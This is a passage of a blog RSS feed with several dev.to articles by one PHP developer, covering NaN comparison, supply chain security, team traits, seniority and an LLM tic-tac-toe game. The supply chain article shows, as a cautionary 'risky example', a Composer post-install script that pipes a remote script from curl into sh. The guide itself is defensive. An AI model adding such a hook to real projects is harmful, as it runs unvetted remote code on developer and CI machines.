&lt;p&gt;During this process, PHP compares each element of the arrays using &lt;strong&gt;strict identity comparison&lt;/strong&gt;. Eventually, the comparison reaches the array elements themselves: NaN === NaN&lt;br&gt;
According to the IEEE 754 standard, NaN is never equal to itself, so this comparison returns false. Because the first (and only) elements of the arrays are not identical, &lt;strong&gt;the entire array comparison fails&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This behavior is not a bug in PHP, but a direct consequence of how floating-point numbers and strict comparisons are defined and implemented.&lt;/p&gt;

&lt;p&gt;This example highlights why understanding PHP internals—such as zvals, copy-on-write, and strict comparison semantics—is crucial when working with edge cases involving floating-point numbers. What may initially look like inconsistent behavior is actually a predictable and well-defined result of PHP’s internal design.&lt;/p&gt;

</description>
      <category>php</category>
      <category>programming</category>
      <category>tutorial</category>
      <category>architecture</category>
    </item>
    <item>
      <title>Supply Chain Security in PHP Projects</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Wed, 24 Dec 2025 16:53:59 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/supply-chain-security-in-php-projects-10p4</link>
      <guid>https://dev.to/dobrenteiistvan/supply-chain-security-in-php-projects-10p4</guid>
      <description>&lt;p&gt;Security has always been an evergreen topic. Protecting your environment, reputation, and company assets from financial and reputational damage is critical. For today’s developers, it is no longer enough to know language syntax, design principles, or how to write clean and maintainable code. Even application-level security knowledge — SQL injection, XSS, CSRF, authentication, and authorization — is no longer sufficient on its own. The modern threat landscape has shifted.&lt;/p&gt;

&lt;p&gt;Continuous learning is part of our profession, especially in security. New attack vectors and techniques emerge constantly, and keeping up with them is no longer optional. In large enterprise organizations, dedicated security teams exist, but that does not remove responsibility from individual engineers.&lt;/p&gt;

&lt;p&gt;In this article, I would like to highlight software supply chain security from a PHP developer’s perspective.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is the Software Supply Chain in PHP?
&lt;/h2&gt;

&lt;p&gt;In a typical PHP application, the software supply chain includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your application source code&lt;/li&gt;
&lt;li&gt;Composer and all installed packages&lt;/li&gt;
&lt;li&gt;Package repositories (public or private Composer repositories)&lt;/li&gt;
&lt;li&gt;Build tools and scripts&lt;/li&gt;
&lt;li&gt;CI/CD pipelines&lt;/li&gt;
&lt;li&gt;Runtime environment (PHP version, extensions, Docker images)&lt;/li&gt;
&lt;li&gt;External services (databases, APIs, cloud providers)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This immediately raises important questions:&lt;/p&gt;

&lt;p&gt;Where is the boundary of the system?&lt;br&gt;
Who is responsible for securing it?&lt;/p&gt;

&lt;p&gt;Is it the developer, the DevOps engineer, the infrastructure team, or the security department?&lt;/p&gt;

&lt;p&gt;The answer is: &lt;strong&gt;there is no single boundary and no single owner&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Modern systems are layered, and each layer has its own security boundary. Supply chain security deliberately extends beyond your codebase. The system boundary ends where you lose visibility or control — but responsibility does not end there.&lt;br&gt;
Supply chain security is shared, but not equally shared. Different roles own different layers.&lt;/p&gt;
&lt;h2&gt;
  
  
  Developer Responsibility (Application Layer)
&lt;/h2&gt;

&lt;p&gt;Developers are primarily responsible for what gets written, imported, and executed. &lt;/p&gt;

&lt;p&gt;This includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Choosing dependencies&lt;/li&gt;
&lt;li&gt;Reviewing Composer packages&lt;/li&gt;
&lt;li&gt;Maintaining composer.lock&lt;/li&gt;
&lt;li&gt;Avoiding dangerous Composer scripts&lt;/li&gt;
&lt;li&gt;Updating vulnerable libraries&lt;/li&gt;
&lt;li&gt;Writing secure-by-default code&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Developers cannot delegate responsibility by saying “&lt;em&gt;I didn’t know the dependency was insecure&lt;/em&gt;” or “&lt;em&gt;the security team will catch it later&lt;/em&gt;.” &lt;strong&gt;Developers are the first line of defense&lt;/strong&gt; in the software supply chain.&lt;/p&gt;
&lt;h3&gt;
  
  
  Locking Dependencies Correctly
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;composer.lock&lt;/strong&gt; file ensures that exactly the same dependency versions are installed everywhere. See the following command:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;composer install --no-dev --prefer-dist --no-interaction&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This command installs PHP dependencies exactly as defined in composer.lock, with settings optimized for non-interactive, production-like environments. The first option means it skips the development dependencies. The deployment artifact will smaller and it reduces the attack surface as well. Prefer dist means download package archives instead of cloning git repositories. The installation will be smaller and faster and no git required. No interaction ensures deterministic behavior and it is required for CI/CD pipelines. &lt;strong&gt;Never run composer update in production&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Avoiding Unsafe Dependency Versions
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Floating or development&lt;/strong&gt; versions dramatically increase risk because floating versions make malicious dependency injection and accidental breaking changes far more likely.&lt;/p&gt;

&lt;p&gt;Unsafe Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; {
  "require": {
    "monolog/monolog": "*",
    "vendor/package": "dev-main"
  }
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reviewing and Restricting Composer Scripts
&lt;/h3&gt;

&lt;p&gt;Risky example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "scripts": {
    "post-install-cmd": [
      "curl https://example.com/install.sh | sh"
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In CI pipelines, scripts should be disabled by default:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;composer install --no-scripts&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Enable scripts only when you fully understand and trust what they do.&lt;/p&gt;

&lt;h2&gt;
  
  
  DevOps / Platform Responsibility (Pipeline Layer)
&lt;/h2&gt;

&lt;p&gt;DevOps and platform engineers own how code becomes a running system:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CI/CD pipeline security&lt;/li&gt;
&lt;li&gt;Secrets management&lt;/li&gt;
&lt;li&gt;Artifact integrity&lt;/li&gt;
&lt;li&gt;Build isolation&lt;/li&gt;
&lt;li&gt;Environment isolation&lt;/li&gt;
&lt;li&gt;Deployment permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Infrastructure Responsibility (Runtime Layer)
&lt;/h2&gt;

&lt;p&gt;Infrastructure engineers are responsible for where and how the system runs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OS hardening&lt;/li&gt;
&lt;li&gt;Container runtime security&lt;/li&gt;
&lt;li&gt;Network segmentation&lt;/li&gt;
&lt;li&gt;Identity and Access Management /Role Based Access Control&lt;/li&gt;
&lt;li&gt;Patch management&lt;/li&gt;
&lt;li&gt;Base images and VM templates&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Security Team Responsibility (Governance Layer)
&lt;/h2&gt;

&lt;p&gt;Security teams provide visibility, guidance, and assurance:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Security standards and policies&lt;/li&gt;
&lt;li&gt;Risk assessment&lt;/li&gt;
&lt;li&gt;Tooling guidance&lt;/li&gt;
&lt;li&gt;Incident response&lt;/li&gt;
&lt;li&gt;Compliance and audits&lt;/li&gt;
&lt;li&gt;Threat modelling&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What Are Supply Chain Attacks?
&lt;/h2&gt;

&lt;p&gt;A supply chain attack occurs when an attacker compromises a &lt;strong&gt;trusted component&lt;/strong&gt; that your application depends on, instead of attacking your code directly.&lt;/p&gt;

&lt;p&gt;Supply chain attacks often succeed precisely because responsibility is fragmented. There is no single border and no single owner.&lt;/p&gt;

&lt;p&gt;Common examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malicious dependency injection&lt;/li&gt;
&lt;li&gt;Typosquatting attacks&lt;/li&gt;
&lt;li&gt;Dependency confusion attacks&lt;/li&gt;
&lt;li&gt;Malicious Composer scripts&lt;/li&gt;
&lt;li&gt;Compromised build pipelines&lt;/li&gt;
&lt;li&gt;Build artifact tampering&lt;/li&gt;
&lt;li&gt;Outdated or abandoned components&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Conclusion
&lt;/h2&gt;

&lt;p&gt;Modern PHP applications are assembled, not written from scratch. Every Composer dependency, build script, CI job, container image and external service becomes part of the system's attack surface.&lt;/p&gt;

&lt;p&gt;Supply chain security is not about eliminating all risk, &lt;strong&gt;it is about making risk visible, controllable, and survivable&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;PHP developers who understand and apply these principles are not just writing secure code, they are building software that can be trusted in an increasingly adversarial and risk exposed ecosystem.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>security</category>
      <category>php</category>
    </item>
    <item>
      <title>More Than Skills: The Human Traits That Build Great Teams</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sat, 08 Nov 2025 09:53:04 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/more-than-skills-the-human-traits-that-build-great-teams-1bfm</link>
      <guid>https://dev.to/dobrenteiistvan/more-than-skills-the-human-traits-that-build-great-teams-1bfm</guid>
      <description>&lt;p&gt;In my previous article, “&lt;a href="https://coderlegion.com/3857/beyond-the-code-staying-ahead-in-an-ai-assisted-developer-world" rel="noopener noreferrer"&gt;Beyond the Code: Staying Ahead in an AI-Assisted Developer World&lt;/a&gt;,” I wrote about how &lt;strong&gt;human collaboration&lt;/strong&gt; is one of the most important qualities needed to remain competent and prepared in our AI-driven world. Beyond technical skills, I wanted to highlight the human side of development.&lt;/p&gt;

&lt;p&gt;In today’s globalized world, it’s no longer unusual to collaborate with people on the other side of the planet — something that became even more natural after the pandemic. I also explored this theme in my article titled “&lt;a href="https://dev.to/dobrenteiistvan/why-problem-solving-in-it-is-about-people-not-just-code-3o25"&gt;Why Problem-Solving in IT Is About People, Not Just Code&lt;/a&gt;,” where I emphasized that being a good team player is essential, both in work and in life.&lt;/p&gt;

&lt;p&gt;Now, I’d like to summarize what &lt;a href="https://www.youtube.com/watch?v=BlWLJunHf_s" rel="noopener noreferrer"&gt;Patrick Lencioni says in one of his [“unconference” videos] about the &lt;strong&gt;ideal team player&lt;/strong&gt;&lt;/a&gt;, because collaboration isn’t just a workplace skill — &lt;strong&gt;it’s a life skill&lt;/strong&gt;. I believe his ideas are highly relevant to anyone who wants to work and live successfully as part of a team.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Three Key Attributes
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Patrick_Lencioni" rel="noopener noreferrer"&gt;Patrick Lencioni&lt;/a&gt; defines three attributes that are essential for effective collaboration — not only in software development, but in life in general: &lt;strong&gt;Humble, Hungry, and Smart&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Humble
&lt;/h2&gt;

&lt;p&gt;Being humble means putting the &lt;strong&gt;team’s success above your own ego&lt;/strong&gt;. A humble person is open to feedback and new ideas, no matter where they come from. They do the right thing because it benefits the team, not because it brings them attention. In short, humility is confidence without arrogance. Lencioni says that humility is the single greatest and most indispensable attribute of being a team player.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Hungry
&lt;/h2&gt;

&lt;p&gt;The “hungry” person &lt;strong&gt;takes ownership&lt;/strong&gt; and doesn’t wait to be told what to do. They naturally look for what needs to be done and go the extra mile — not because someone is watching, but because they care about the result. They are curious, constantly learning, and eager to improve themselves and the team. They’re not satisfied with “good enough” and are always looking for better ways to contribute. In a team, a hungry person is that reliable teammate who keeps things moving and motivates others through action and enthusiasm.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Smart
&lt;/h2&gt;

&lt;p&gt;When Lencioni says “smart,” he doesn’t mean intellectually or technically brilliant — he means people smart. A smart person &lt;strong&gt;understands how their behavior affects others&lt;/strong&gt;. They notice moods, reactions, and communication styles. They know when to speak up, when to listen, and how to make others feel valued. This is all about emotional intelligence and interpersonal skills — being aware, considerate, and tactful in relationships.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Combinations of Traits
&lt;/h2&gt;

&lt;p&gt;These three attributes together form the foundation of the ideal team player, but few of us possess all three in equal measure. The key is &lt;strong&gt;self-awareness&lt;/strong&gt;: recognizing what we lack and being willing to grow.&lt;br&gt;
If you’re a leader or decision-maker, understanding these traits also helps identify who will strengthen or weaken your team. Lencioni illustrates this by describing several personality types that lack one or more of these key virtues.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Pawn
&lt;/h2&gt;

&lt;p&gt;The Pawn has only one trait: humility. They’re kind, modest, and selfless — easy to get along with — but they lack drive and people smarts. While pleasant, they often contribute little to the team’s overall productivity. Humility is essential, but &lt;strong&gt;it must be combined with energy and social awareness to create true value&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bulldozer
&lt;/h2&gt;

&lt;p&gt;The Bulldozer is only hungry. They’re driven, ambitious, and results-oriented, but they lack humility and people skills. They push hard to get things done but often run over others in the process.&lt;br&gt;
While they might produce short-term results, they damage trust, morale, and teamwork over time — &lt;strong&gt;creating a culture of competition rather than collaboration&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Charmer
&lt;/h2&gt;

&lt;p&gt;The Charmer is only smart — great with people and entertaining to be around, but not humble or hardworking. &lt;strong&gt;They care more about their image than the team’s success&lt;/strong&gt; and don’t get much done. While likeable, they’re unreliable and can drain a team’s momentum.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mixed Types
&lt;/h2&gt;

&lt;p&gt;Most people aren’t defined by just one trait. Here’s what happens when two of the three are present:&lt;/p&gt;

&lt;h2&gt;
  
  
  The Accidental Mess-Maker
&lt;/h2&gt;

&lt;p&gt;Humble and hungry, but not people smart. This person means well and works hard, but their lack of social awareness often leads to misunderstandings and friction. They &lt;strong&gt;create problems unintentionally&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Lovable Slacker
&lt;/h2&gt;

&lt;p&gt;Humble and smart, but not hungry. Everyone likes them — they’re kind and emotionally intelligent — but they lack ambition. They do the bare minimum, avoid extra work, and rely on others to pick up the slack. They’re not harmful, but &lt;strong&gt;their lack of drive slowly weakens the team&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Skillful Politician
&lt;/h2&gt;

&lt;p&gt;Hungry and smart, but not humble — the most dangerous combination, according to Lencioni. These people are ambitious, engaged, and often appear highly valuable at first. But their charm and apparent productivity hide self-centered motives. Over time, &lt;strong&gt;they undermine trust and teamwork, pursuing personal advancement at the expense of the group.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Growth and Reflection
&lt;/h2&gt;

&lt;p&gt;Thinking in terms of these three key virtues is powerful because they are not fixed traits — they can be developed. Through &lt;strong&gt;self-awareness, feedback, and practice&lt;/strong&gt;, anyone can become a more complete team player.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;No one is perfect. Nobody embodies all three virtues all the time. But if we &lt;strong&gt;recognize our weaknesses&lt;/strong&gt;, &lt;strong&gt;stay open to feedback&lt;/strong&gt;, and &lt;strong&gt;commit to growth&lt;/strong&gt;, both individuals and teams will improve — and the results will benefit everyone.&lt;br&gt;
Lencioni says that if individuals, teams, and organizations lived by Humble, Hungry, and Smart (HHS), the world would be a better place.&lt;br&gt;
I truly believe that. And I believe most people can achieve it — if they really want to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What do you think?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>career</category>
      <category>hr</category>
      <category>beginners</category>
      <category>learning</category>
    </item>
    <item>
      <title>Why Problem-Solving in IT Is About People, Not Just Code</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Wed, 10 Sep 2025 05:45:04 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/why-problem-solving-in-it-is-about-people-not-just-code-3o25</link>
      <guid>https://dev.to/dobrenteiistvan/why-problem-solving-in-it-is-about-people-not-just-code-3o25</guid>
      <description>&lt;p&gt;In IT, we often think the best problem-solvers are those who can write flawless code or debug complex systems in minutes. However, research and real-world experience tell a different story: the most successful teams thrive not because of technical brilliance alone, but because of &lt;strong&gt;trust, communication, and collaboration&lt;/strong&gt;. Psychological safety is now a stronger predictor of project success than coding skills alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Psychological Safety?
&lt;/h2&gt;

&lt;p&gt;Psychological safety is the belief that you can speak up, &lt;strong&gt;share ideas&lt;/strong&gt;, &lt;strong&gt;ask questions&lt;/strong&gt;, or &lt;strong&gt;admit mistakes without fear&lt;/strong&gt; of negative consequences, such as blame or punishment. It’s about trust, not just comfort. Team members don’t always have to agree or feel comfortable with everything—they just need to feel safe taking interpersonal risks. Mistakes are treated as &lt;strong&gt;learning opportunities rather than reasons for punishment&lt;/strong&gt;. Open communication encourages knowledge sharing, helping teams solve problems collectively rather than leaving individuals to struggle in silence.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why It Matters in Real Life
&lt;/h2&gt;

&lt;p&gt;Imagine a developer spots a potential bug in a colleague’s code. In a psychologically safe team, they can point it out respectfully, discuss solutions, and no one feels blamed. In a team without psychological safety, the same developer might stay silent, letting the bug slip into production. The difference can determine the success—or failure—of a project.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Role of Life Outside Work
&lt;/h2&gt;

&lt;p&gt;Engaging in group activities, outdoor adventures, or creative hobbies often builds soft skills faster than formal training. These experiences develop &lt;strong&gt;empathy&lt;/strong&gt;, &lt;strong&gt;resilience&lt;/strong&gt;, &lt;strong&gt;adaptability&lt;/strong&gt;, and &lt;strong&gt;communication skills&lt;/strong&gt; that directly influence &lt;strong&gt;collaboration&lt;/strong&gt; at work. Team sports and group challenges teach coordination and adaptability, while outdoor adventures strengthen problem-solving under pressure. Creative pursuits or volunteering enhance &lt;strong&gt;empathy&lt;/strong&gt; and &lt;strong&gt;communication&lt;/strong&gt;. In short, how we spend our time outside work shapes how we perform inside it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing Thoughts
&lt;/h2&gt;

&lt;p&gt;Strong technical skills are important; they form the backbone of any project, but what truly sets successful teams apart is the human side: empathy, communication, trust, and the courage to share ideas openly.&lt;/p&gt;

&lt;p&gt;Even if you're not the fastest coder in the room or don't hold a PhD, you can still be an invaluable teammate. Your ability to collaborate, listen, and contribute to a safe and supportive environment can make the difference between a struggling project and a thriving one.&lt;/p&gt;

&lt;p&gt;The real challenge isn't just writing code, it's becoming better, together. By focusing on growing not only your technical knowledge but also &lt;strong&gt;your human skills&lt;/strong&gt;, you'll always bring value to your team.&lt;/p&gt;

</description>
      <category>career</category>
      <category>programming</category>
      <category>hr</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Who is a senior developer?</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sun, 31 Aug 2025 17:46:25 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/who-is-a-senior-developer-5di8</link>
      <guid>https://dev.to/dobrenteiistvan/who-is-a-senior-developer-5di8</guid>
      <description>&lt;p&gt;I first came across these ideas in a Hungarian presentation, and they really made me think. In this article, I’d like to share my own interpretation and what it means to me, because I believe it’s relevant and could be useful for others as well. &lt;/p&gt;

&lt;p&gt;Seniority is not just a title. It doesn’t simply reflect the number of years of development experience; it’s about a much deeper understanding. It doesn’t come from college or university, and it’s not something you earn with a degree. &lt;strong&gt;Seniority is a mindset&lt;/strong&gt;—and much more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Misconceptions About Senior Developers
&lt;/h2&gt;

&lt;p&gt;There are many misconceptions about what it really means to be a senior developer. One common belief is that a senior developer “&lt;em&gt;knows everything.&lt;/em&gt;” But the truth is quite different.&lt;/p&gt;

&lt;p&gt;A senior developer &lt;strong&gt;doesn’t know everything&lt;/strong&gt; — and they know that better than anyone else. They understand when to ask questions and who to ask. They don’t rush into coding right away; &lt;strong&gt;they think first&lt;/strong&gt;. Instead of writing hundreds of lines of code, they write just a few lines that are truly necessary.&lt;/p&gt;

&lt;p&gt;They don’t ask, “&lt;em&gt;Does it work?&lt;/em&gt;” but rather, “&lt;em&gt;Is it &lt;strong&gt;stable&lt;/strong&gt;? Is it &lt;strong&gt;clean&lt;/strong&gt;? Is it &lt;strong&gt;testable&lt;/strong&gt;?&lt;/em&gt;” Working code is expected, but it’s not the final goal. They know when not to rewrite something, because stability is often more important than chasing the newest language or framework.&lt;/p&gt;

&lt;p&gt;They &lt;strong&gt;document their work&lt;/strong&gt; for the benefit of the team. In code reviews, they don’t criticize — they &lt;strong&gt;help others improve&lt;/strong&gt;. They value &lt;strong&gt;communication&lt;/strong&gt; because they know that poor communication leads to poor products.&lt;/p&gt;

&lt;p&gt;A senior developer also knows that sometimes a quick release is better than waiting for a perfect architecture. They think independently of specific languages and technologies. They collaborate, solve problems as a team, and &lt;strong&gt;support their colleagues&lt;/strong&gt;. Bugs are not disasters — but failing to learn from them is.&lt;/p&gt;

&lt;p&gt;They know when to say no. They think in terms of CI/CD, staging, and production environments. &lt;strong&gt;They are mentors&lt;/strong&gt;, but also sources of inspiration. Others follow them, not because of their title, but because of their actions and character.&lt;/p&gt;

&lt;p&gt;They understand that technology is just a tool — the real goal is &lt;strong&gt;delivering business value&lt;/strong&gt;. They can recognize scope creep and prevent it. They aren’t afraid to delete code, because fewer lines mean fewer mistakes.&lt;/p&gt;

&lt;p&gt;They ask not only “What?” but also “Why?” They &lt;strong&gt;clarify business logic&lt;/strong&gt; before writing a single line of code. If something is hard to understand, they &lt;strong&gt;simplify it&lt;/strong&gt;, because complexity today is a bug tomorrow.&lt;/p&gt;

&lt;p&gt;They &lt;strong&gt;write tests&lt;/strong&gt; because they know that a production bug without tests will ultimately reflect on them. They are not afraid to ask the product owner for &lt;strong&gt;clarification&lt;/strong&gt;, because one misunderstood specification can waste weeks of work.&lt;/p&gt;

&lt;p&gt;Senior developers don’t just deliver features — &lt;strong&gt;they deliver stability, scalability, and predictability&lt;/strong&gt;. They understand that the best code is often the least code. They don’t restrict themselves to just frontend or backend; instead, they understand the entire flow, from the API to the user experience. They also recognize that there’s no such thing as perfect code — only code that serves its purpose at the right time.&lt;/p&gt;

&lt;p&gt;They show empathy, knowing that someone else will read their code in the future. They accept mistakes but also &lt;strong&gt;take responsibility&lt;/strong&gt; for them. They know that titles mean little compared to the impact they create — and the fact that the team performs better because of their presence.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Personal Note
&lt;/h2&gt;

&lt;p&gt;I’m not a senior developer yet, but one day I hope to become one — and not just any senior, but the best I can possibly be. This guideline is a reminder for me to focus not only on specific skills, but on the whole mindset.&lt;/p&gt;

&lt;p&gt;If you’re in the same shoes, I wish you all the best on this journey too. The journey to seniority is long, but &lt;strong&gt;every line of code, every question asked, and every lesson learned brings us closer&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>career</category>
      <category>development</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Primum nil nocere in PHP: First, Do No Harm</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sun, 17 Aug 2025 09:37:29 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/primum-nil-nocere-in-php-first-do-no-harm-46pg</link>
      <guid>https://dev.to/dobrenteiistvan/primum-nil-nocere-in-php-first-do-no-harm-46pg</guid>
      <description>&lt;p&gt;Doctors have a saying: &lt;em&gt;primum nil nocere&lt;/em&gt; — “first, do no harm.” I first heard it in a medical context, but it stuck with me. Could the same principle apply to programming? Absolutely — especially when working with legacy code.&lt;/p&gt;

&lt;p&gt;If you work on legacy applications, you quickly learn one truth: every change can have unexpected side effects. The architecture is rigid, the design outdated, and the smallest tweak might break something miles away in the codebase. Still, we all want to make things better today than they were yesterday.&lt;/p&gt;

&lt;p&gt;That’s why I wrote a &lt;strong&gt;&lt;a href="https://github.com/distvan/legacy-php-hook" rel="noopener noreferrer"&gt;pre-commit Git hook&lt;/a&gt;&lt;/strong&gt; to apply the do no harm principle to my daily development. The idea is simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The whole codebase is under Git.&lt;/li&gt;
&lt;li&gt;Every commit should meet the current coding standard (PSR-12 in my case).&lt;/li&gt;
&lt;li&gt;Running &lt;strong&gt;&lt;a href="https://github.com/PHPCSStandards/PHP_CodeSniffer/" rel="noopener noreferrer"&gt;PHP_CodeSniffer&lt;/a&gt;&lt;/strong&gt; on the entire legacy project is slow and noisy.&lt;/li&gt;
&lt;li&gt;So instead, I only check the lines I’ve actually changed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If my changes violate the standard, the commit fails until I fix them. Over time, this improves the codebase without drowning me in thousands of old warnings.&lt;/p&gt;

&lt;p&gt;Sometimes, I can’t fix a file immediately because of other existing violations. In that case, the hook can just warn instead of blocking the commit, letting me decide what to do. You can also extend the script with your own rules — the setup is entirely yours.&lt;/p&gt;

&lt;p&gt;Each time you commit, you’re leaving the codebase a little cleaner, a little better. It’s like a doctor treating a patient: you’re not curing every illness at once, but you’re making sure you don’t make things worse.&lt;/p&gt;

&lt;p&gt;The script is in &lt;a href="https://github.com/distvan/legacy-php-hook" rel="noopener noreferrer"&gt;my repository&lt;/a&gt; — take it, use it, adapt it. And remember: even in PHP, &lt;em&gt;first, do no harm&lt;/em&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>php</category>
      <category>git</category>
    </item>
    <item>
      <title>From Prompts to Plays: Using Language Models as Game AI in PHP</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sat, 05 Jul 2025 13:59:35 +0000</pubDate>
      <link>https://dev.to/dobrenteiistvan/from-prompts-to-plays-using-language-models-as-game-ai-in-php-kcm</link>
      <guid>https://dev.to/dobrenteiistvan/from-prompts-to-plays-using-language-models-as-game-ai-in-php-kcm</guid>
      <description>&lt;p&gt;OXO, or &lt;a href="https://en.wikipedia.org/wiki/Tic-tac-toe" rel="noopener noreferrer"&gt;Tic-tac-toe&lt;/a&gt;, is a classic game often played by young children and is known for its simple rules. It involves two players who take turns marking either an X or an O on a 3×3 grid. The first player to align three of their marks horizontally, vertically, or diagonally wins the game.&lt;/p&gt;

&lt;p&gt;I developed &lt;a href="https://github.com/distvan/ttt-php-ai" rel="noopener noreferrer"&gt;a web-based version of Tic-tac-toe&lt;/a&gt; using PHP on my personal computer. This version features an &lt;strong&gt;AI opponent&lt;/strong&gt; and leverages language models to determine winning strategies against human players. Let’s take a closer look at how the application works.&lt;/p&gt;

&lt;p&gt;I &lt;a href="https://github.com/distvan/ttt-php-ai" rel="noopener noreferrer"&gt;created this application&lt;/a&gt; for educational purposes and experimentation. I didn’t use any frameworks on either the backend or the frontend. My goal was to build an application from scratch to better understand the underlying details. It’s not production-ready. I developed it simply to explore possible solutions and approaches. I’m aware that there are many other ways to implement this game, but I wanted to experiment and try my own approach.&lt;/p&gt;

&lt;p&gt;On the backend, I used PHP 8.3 in a Docker containerized environment. The game board is managed server-side, and player moves are stored using session storage. On the frontend, I visualized the data using ECMAScript 6 (ES6) JavaScript classes along with HTML and CSS. When the player clicks on a cell, a request is sent to the backend, where the game board is updated, the move is recorded, and an AI assistant is called to select the next move.&lt;/p&gt;

&lt;p&gt;The AI uses an LLM (Large Language Model) to evaluate the game state and make decisions. Backend classes are designed to be switchable, PSR-compliant, and follow the separation of concerns principle. I’ve written unit test cases for the backend as well as tests for the frontend.&lt;/p&gt;

&lt;p&gt;You can refer to the UML class diagrams to better understand the application's architecture. For the AI model, I used openrouter.ai as the provider and selected a freely available model: deepseek/deepseek-chat-v3-0324. However, the application is flexible and allows other models to be selected via an environment variable.&lt;/p&gt;

&lt;p&gt;This project builds on &lt;a href="https://github.com/distvan/php-microservice" rel="noopener noreferrer"&gt;a previous custom application&lt;/a&gt; I developed. &lt;em&gt;&lt;strong&gt;It's a pet project, created out of curiosity, to explore how PHP can be integrated with LLM-based applications.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application works well, and I can play Tic Tac Toe with any LLM (Large Language Model). However, the performance depends on how the model was trained. While an LLM can respond with suggestions and simulate moves, its gameplay is often suboptimal because it relies on statistical &lt;strong&gt;language patterns&lt;/strong&gt; rather than true strategic reasoning. As a result, it may fail to play optimally in abstract positions and seems unable to think ahead by simulating future game states — a better model is needed for that.&lt;/p&gt;

&lt;p&gt;Eventually, I created a prompt that described the problem and asked the LLM to suggest a solution and help implement it. This led to the development of a more robust solution using the Minimax algorithm. If the API URL isn’t set in the .env file, the application defaults to using the Minimax-based AI Assistant — which is nearly unbeatable.&lt;/p&gt;

&lt;p&gt;Overall, this was an interesting journey. I believe the true power of LLMs lies in their ability to understand complex problems — if your prompt is good enough — and to help suggest and implement working solutions.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>php</category>
      <category>llm</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Building a PSR-Compliant Microservice in Pure PHP - part 2</title>
      <dc:creator>István Döbrentei </dc:creator>
      <pubDate>Sun, 15 Jun 2025 08:18:55 +0000</pubDate>
